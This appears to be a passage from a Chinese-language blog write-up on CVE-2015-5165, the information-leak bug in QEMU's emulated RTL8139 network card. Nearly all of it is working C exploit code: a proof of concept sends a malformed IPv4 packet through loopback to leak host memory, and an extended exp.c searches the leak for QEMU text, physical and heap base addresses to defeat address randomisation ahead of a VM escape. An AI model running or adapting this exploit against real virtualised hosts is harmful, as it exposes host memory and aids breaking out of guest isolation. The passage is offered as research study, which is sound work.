89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址,可在源码中查看
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptor address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor address
RxRingAddrLO = 0xE4, // 32-bit low addr of Rx descriptor
RxRingAddrHI = 0xE8, // 32-bit high addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = (0x1 << 6),
};

// RTL8139 Rx / Tx descriptor
typedef struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
}rtl8139_desc;

// RTL8139 Rx / Tx ring
typedef struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
}rtl8139_ring;

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // DST MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // SRC MAC 52:54:00:12:34:56
0x08, 0x00, // Length / Type: IPv4

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 4bits version = 0x4x | 4bits hlen =0xx5 => 0x05 * 4 = 20 bytes
0x00, // 8bit TOS
0x00, 0x13, // 16bits Total Length = 0x13 = 19 bytes,19-20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // 16bits Identification
0x40, 0x00, // 3bits Flags & 13bits Fragment Offset
0x40, // 8bits TTL
0x06, // 8bits Protocol:TCP
0xde, 0xad, // 16bits Header checksum
0x7f, 0x00, 0x00, 0x01, // 32bits Source IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01, // 32bits Destination IP:127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // 16bits Source Port
0xbe, 0xef, // 16bits Destination Port
0x00, 0x00, 0x00, 0x00, // 32bits Sequence Number
0x00, 0x00, 0x00, 0x00, // 32bits Acknowledgement Number
0x50, // 01010000, 4bits Header Length = 5*4 = 20 && 4bits null
0x10, // 00010000, 2bits null && 2bits URG ACK PSH RST SYN FIN
0xde, 0xad, // 16bits Window Size
0xde, 0xad, // 16bits TCP checksum
0x00, 0x00 // 16bits Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap","rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp,(unsigned long)addr/PAGE_SIZE*8,SEEK_SET))
{
fread(&pfn,sizeof(pfn),1,fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE+4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i],0,sizeof(desc[i]));
ring[i].desc = &desc[i];
ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer,0,buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb-1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+RxRingAddrLO);//因为物理地址较小,所以uint32_t足够
outl(0,RTL8139_PORT+RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+TxAddr0);
outl(0,RTL8139_PORT+TxAddr0+4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack,RTL8139_PORT+TxConfig);
outl(AcceptMyPhys,RTL8139_PORT+RxConfig);
outw(CPlusRxEnb|CPlusTxEnb,RTL8139_PORT+CpCmd);
outb(CmdRxEnb|CmdTxEnb,RTL8139_PORT+ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer,packet,len);
outb(CPlus,RTL8139_PORT+TxPoll); //触发漏洞函数
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(PAGE_SIZE,rtl8139_rx_nb*sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(PAGE_SIZE,rtl8139_rx_nb*sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(PAGE_SIZE,sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE,RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring,rtl8139_rx_desc,rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc,rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer,rtl8139_packet,sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0;i < rtl8139_rx_nb;++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

return 0;
}

poc效果:

image-20200729122807413

漏洞利用

从泄露的数据中提取出text_basephy_base

感觉原作的方法效率太低。。。还是直接找偏移比较快,text_base可以用的偏移有很多,这里参考了ray-cp师傅的三个,自己找了一个,phy_base直接可以发现规律,泄露出来的0x7fxxxxxxxxxx清零后三个字节之后,再减去0x80000000即为phy_base

image-20200729181938563

image-20200729182327140

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptor address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor address
RxRingAddrLO = 0xE4, // 32-bit low addr of Rx descriptor
RxRingAddrHI = 0xE8, // 32-bit high addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = (0x1 << 6),
};

// RTL8139 Rx / Tx descriptor
typedef struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
}rtl8139_desc;

// RTL8139 Rx / Tx ring
typedef struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
}rtl8139_ring;

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // DST MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // SRC MAC 52:54:00:12:34:56
0x08, 0x00, // Length / Type: IPv4

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 4bits version = 0x4x | 4bits hlen =0xx5 => 0x05 * 4 = 20 bytes
0x00, // 8bit TOS
0x00, 0x13, // 16bits Total Length = 0x13 = 19 bytes,19-20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // 16bits Identification
0x40, 0x00, // 3bits Flags & 13bits Fragment Offset
0x40, // 8bits TTL
0x06, // 8bits Protocol:TCP
0xde, 0xad, // 16bits Header checksum
0x7f, 0x00, 0x00, 0x01, // 32bits Source IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01, // 32bits Destination IP:127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // 16bits Source Port
0xbe, 0xef, // 16bits Destination Port
0x00, 0x00, 0x00, 0x00, // 32bits Sequence Number
0x00, 0x00, 0x00, 0x00, // 32bits Acknowledgement Number
0x50, // 01010000, 4bits Header Length = 5*4 = 20 && 4bits null
0x10, // 00010000, 2bits null && 2bits URG ACK PSH RST SYN FIN
0xde, 0xad, // 16bits Window Size
0xde, 0xad, // 16bits TCP checksum
0x00, 0x00 // 16bits Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap","rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp,(unsigned long)addr/PAGE_SIZE*8,SEEK_SET))
{
fread(&pfn,sizeof(pfn),1,fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE+4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i],0,sizeof(desc[i]));
ring[i].desc = &desc[i];
ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer,0,buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb-1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+RxRingAddrLO);
outl(0,RTL8139_PORT+RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+TxAddr0);
outl(0,RTL8139_PORT+TxAddr0+4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack,RTL8139_PORT+TxConfig);
outl(AcceptMyPhys,RTL8139_PORT+RxConfig);
outw(CPlusRxEnb|CPlusTxEnb,RTL8139_PORT+CpCmd);
outb(CmdRxEnb|CmdTxEnb,RTL8139_PORT+ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer,packet,len);
outb(CPlus,RTL8139_PORT+TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n%p: ",ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}


uint64_t qemu_search_text_base(void* ptr, size_t size)
{
size_t i,j;
uint64_t property_get_bool_offset = 0x369597;
uint64_t property_get_str_offset = 0x369340;
uint64_t memory_region_destructor_none_offset = 0xed560;
uint64_t address_space_io_offset = 0x8e5e80;
uint64_t offset[]={property_get_bool_offset, property_get_str_offset, memory_region_destructor_none_offset,address_space_io_offset};
uint64_t *int_ptr, addr, text_base =0;
for (i=0; i<size-8; i+=8) {
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
for(j=0; j<sizeof(offset)/sizeof(uint64_t); j++) {
if( ((addr & 0xfffff00000000000) == 0x500000000000) && (( (addr - offset[j]) & 0xfff ) == 0) ) {
text_base = addr - offset[j];
//printf("[+]text_base_ptr: %p\n",int_ptr);
break;
}
if(text_base !=0)
break;
}
}

return text_base;
}

uint64_t qemu_search_phy_base(void *ptr, size_t size)
{
size_t i;
uint64_t *int_ptr, addr, phy_base = 0;

for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
if((addr & 0xfffff00000000000) == 0x700000000000)
{
addr = addr & 0xffffffffff000000;
phy_base = addr - 0x80000000;
//printf("[+]phy_base_ptr: %p\n",int_ptr);
break;
}
}

return phy_base;
}
//可有可无
uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)
{
size_t i;
size_t j;
uint64_t *int_ptr, addr, heap_base = 0;
uint64_t target_offset[] = {0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8, 0x1470208};
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
//printf("i: %d 0x%lx\n",i, addr);
if((addr & 0xffff00000000) == (text_base & 0xffff00000000) && addr!=0) {
if( (addr - text_base) > 0xd5c000) {
for(j = 0; j < sizeof(target_offset)/sizeof(int64_t); j++) {
if(((addr -target_offset[j])&0xfff) == 0) {
heap_base = addr - target_offset[j];
break;
}
}
}
}
if(heap_base != 0)
break;
}
return heap_base;
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(PAGE_SIZE,rtl8139_rx_nb*sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(PAGE_SIZE,rtl8139_rx_nb*sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(PAGE_SIZE,sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE,RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring,rtl8139_rx_desc,rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc,rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer,rtl8139_packet,sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0;i < rtl8139_rx_nb;++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}
//----------------------------------------------------------------------------------------
uint64_t text_base,phy_base,heap_base;
for (int i=0; i < rtl8139_rx_nb; i++) {
text_base = qemu_search_text_base(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
if (text_base != 0)
break;
}

if (text_base == 0){
puts("[-]text base not found\n");
exit(-1);
}
printf("[+]text_base: %p\n",text_base);
//----------------------------------------------------------------------------------------
for (int i=0; i < rtl8139_rx_nb; i++) {
phy_base = qemu_search_phy_base(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
if (phy_base != 0)
break;
}

if (phy_base == 0){
puts("[-]phy base not found\n");
exit(-1);
}
printf("[+]physical_base: %p\n", phy_base);

return 0;
}

image-20200729182354714

image-20200729182430360

参考

https://ray-cp.github.io/archivers/qemu-pwn-cve-2015-5165%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://jiayy.me/2019/04/15/CVE-2015-5165-7504/

http://www.phrack.org/papers/vm-escape-qemu-case-study.html

https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/

http://realtek.info/pdf/rtl8139cp.pdf

打赏还是打残,这是个问题